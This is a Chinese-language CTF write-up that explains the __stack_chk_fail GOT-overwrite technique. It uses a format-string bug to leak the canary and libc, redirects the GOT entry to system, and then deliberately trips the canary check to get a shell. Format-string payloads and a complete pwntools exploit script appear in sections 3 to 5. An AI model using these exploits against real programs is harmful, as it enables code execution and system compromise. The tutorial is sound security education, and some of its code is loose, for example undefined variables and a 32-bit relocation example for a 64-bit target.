1. 漏洞背景与核心概念解析
在CTF PWN类题目中,stack_chk_fail覆写是一种经典的漏洞利用技术,它直接针对GCC的栈保护机制——Stack Canary。这个保护机制的设计初衷是防止缓冲区溢出攻击,但正如我们在HappyNewYearCTF_14这道题中看到的,它本身也可能成为攻击目标。
Stack Canary的工作原理可以类比为古代城堡的哨兵系统。想象城堡的城墙(栈空间)需要保护,守卫会在城墙的关键位置放置一只金丝雀(canary值)。如果有人试图翻越城墙(缓冲区溢出),必然会惊动金丝雀(修改canary值),守卫(stack_chk_fail函数)就会立即拉响警报(终止程序)。而这道题的精妙之处在于,攻击者不是试图绕过哨兵,而是直接"收买"了守卫——通过覆写stack_chk_fail函数的GOT表项,将其变成我们的"内应"。
在Linux系统中,stack_chk_fail函数的典型实现是这样的:
c复制void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
当canary值被验证不匹配时,就会调用这个函数终止程序。而我们的攻击目标就是劫持这个函数的执行流程。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目环境搭建与初步分析
首先我们需要搭建与题目相同的实验环境。根据HappyNewYearCTF_14的题目特征,建议使用Ubuntu 18.04 + GCC 7.5的组合,这是CTF比赛中常见的环境配置。
使用checksec工具检查二进制文件的安全属性时,我们通常会看到这样的输出:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键点在于:
- 存在Stack Canary保护
- 是Partial RELRO(这是成功攻击的关键)
- 没有开启PIE(简化了地址计算)
通过逆向分析(推荐使用Ghidra或IDA Pro),我们会发现程序中存在明显的格式化字符串漏洞。比如可能存在这样的危险代码:
c复制printf(user_input); // 没有使用%s等安全限定符
在实际解题过程中,我通常会按照以下步骤进行初步信息收集:
- 使用cyclic工具确定溢出偏移量
- 通过格式化字符串泄露canary值和libc地址
- 计算stack_chk_fail在GOT表中的位置
- 构造payload覆写GOT表项
注意:不同版本的glibc中stack_chk_fail的符号可能有差异,在某些系统中可能是__stack_chk_fail_local,需要根据实际情况调整。
3. 格式化字符串漏洞的深度利用
格式化字符串漏洞在这个攻击链中扮演着关键角色。与普通的溢出不同,它给了我们"读"和"写"的双重能力。通过精心构造的格式化字符串,我们可以实现:
- 内存泄露:
python复制payload = b"%7$llx" # 泄露栈上第7个参数处的值
send(payload)
canary = int(recv(), 16) # 假设这里泄露了canary值
- 任意地址写:
python复制def write_addr(addr, value):
payload = fmtstr_payload(offset, {addr: value})
send(payload)
在实际操作中,我发现32位和64位架构下的格式化字符串利用有显著差异。64位系统中,前6个参数通过寄存器传递,之后的才通过栈传递,这会影响我们的偏移量计算。一个实用的调试技巧是使用%p或%lx配合多个格式指示符来探测栈布局:
python复制payload = b"|".join([b"%p"]*20) # 打印栈上20个指针
通过分析输出,我们可以准确定位到canary值的位置(通常会有00结尾的特征)、返回地址、以及可能的libc地址。
4. GOT表覆写技术详解
Global Offset Table (GOT) 是动态链接程序用来解析外部函数地址的关键数据结构。在Partial RELRO保护下,GOT表是可写的,这给了我们攻击的机会。
具体到stack_chk_fail的覆写,我们需要:
- 找到stack_chk_fail的GOT表项地址:
bash复制objdump -R ./challenge | grep stack_chk_fail
# 输出示例:0804a018 R_386_JUMP_SLOT __stack_chk_fail
- 确定要跳转的目标地址(比如system函数的地址):
python复制libc_base = leaked_libc_address - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
- 使用格式化字符串漏洞或缓冲区溢出覆写GOT表项:
python复制# 使用pwntools的fmtstr_payload
payload = fmtstr_payload(offset, {got_addr: system_addr})
在我的实战经验中,有几点需要特别注意:
- 覆写操作可能需要分多次完成,特别是在地址值包含空字节时
- 某些情况下需要先泄露GOT表原有值,用于绕过某些检查
- 要考虑字节序问题,x86是小端序,写入顺序要注意
5. 完整攻击链构建与优化
将上述技术组合起来,我们可以构建完整的攻击链:
- 通过格式化字符串泄露canary值和libc基址
- 计算system函数和"/bin/sh"字符串的地址
- 构造虚假的栈结构,使得触发stack_chk_fail时能执行system("/bin/sh")
- 覆写stack_chk_fail的GOT表项指向system
- 故意触发栈保护机制(通过缓冲区溢出修改canary值)
一个典型的payload结构如下:
code复制[填充数据][伪造的canary][保存的rbp][返回地址][触发canary检查]
在实际比赛中,我总结出几个优化技巧:
- 如果程序有多次交互机会,可以先泄露信息再单独进行覆写
- 可以覆写stack_chk_fail为one_gadget地址,减少依赖
- 在某些glibc版本中,可以通过覆写__libc_argv[0]来控制system的参数
下面是一个实战中可用的pwntools脚本框架:
python复制from pwn import *
context.arch = 'amd64'
p = process('./challenge')
# 第一阶段:信息泄露
payload = b"%15$p.%19$p"
p.sendline(payload)
leaks = p.recv().split(b'.')
canary = int(leaks[0], 16)
libc_start_main = int(leaks[1], 16) - 240
# 第二阶段:计算关键地址
libc_base = libc_start_main - libc.symbols['__libc_start_main']
system = libc_base + libc.symbols['system']
got_stack_chk_fail = elf.got['__stack_chk_fail']
# 第三阶段:GOT覆写
fmt = FmtStr(execute_fmt=send_fmt)
fmt.write(got_stack_chk_fail, system)
fmt.execute_writes()
# 第四阶段:触发漏洞
payload = b'A'*offset + p64(canary) + p64(0) + p64(next(elf.search(b'/bin/sh\x00')))
p.sendline(payload)
p.interactive()
6. 防御措施与变种攻击
理解了攻击原理后,我们自然要考虑如何防御这类攻击。现代编译器和操作系统已经提供了多种保护机制:
- Full RELRO:使GOT表不可写
- 栈随机化(ASLR):增加地址预测难度
- 指针保护(Pointer Guard):保护函数指针
但攻击技术也在不断进化。近年来出现了一些变种攻击方式:
- 通过large memory leak绕过ASLR
- 使用partial write技术应对地址随机化
- 利用文件描述符重用攻击chain不同漏洞
在最近的CTF比赛中,我遇到过一个有趣的变种:题目故意在stack_chk_fail函数内部调用了另一个可覆写的函数指针。这要求攻击者不仅要覆写GOT表,还要精确控制栈上的数据布局。
7. 实战调试技巧与排错指南
在实际解题过程中,有几个调试技巧非常有用:
- 使用gdb的watchpoint监控canary值:
gdb复制watch *(long *)($rbp-0x8)
- 在关键函数处下断点:
gdb复制b *__stack_chk_fail
b *printf
- 观察栈布局:
gdb复制telescope $rsp 20
常见问题及解决方案:
Q: 覆写后程序直接崩溃而不是执行shell?
A: 检查是否正确处理了栈对齐问题(x64要求16字节对齐),尝试在跳转地址前加ret指令调整
Q: 格式化字符串偏移量计算不准?
A: 在payload前添加若干占位参数(如AAAA%p%p...)辅助定位
Q: system函数执行但无法获取shell?
A: 检查/bin/sh字符串是否有效,或者尝试使用execve等其他函数
我个人的调试习惯是:
- 先在本地用gdb脚本自动化测试
- 对每个阶段的结果进行严格验证
- 保留所有中间结果用于回滚分析
- 使用pwntools的context.log_level = 'debug'查看详细通信
8. 扩展思考与进阶方向
掌握了stack_chk_fail覆写技术后,可以进一步探索以下进阶方向:
-
在开启FULL RELRO的情况下如何绕过保护?
- 可能需要结合其他漏洞如堆利用
- 考虑修改__libc_argv等非直接函数指针
-
如何在没有格式化字符串漏洞的情况下实现类似攻击?
- 通过堆漏洞实现任意地址写
- 利用UAF等漏洞构造写原语
-
在更复杂的程序结构中应用该技术:
- 多线程环境下的canary处理
- 信号处理函数中的栈检查
最近我研究的一个有趣案例是结合栈迁移技术(stack pivoting)和stack_chk_fail覆写,通过将栈迁移到可控区域(如堆内存),再故意触发栈保护,实现更稳定的控制流劫持。
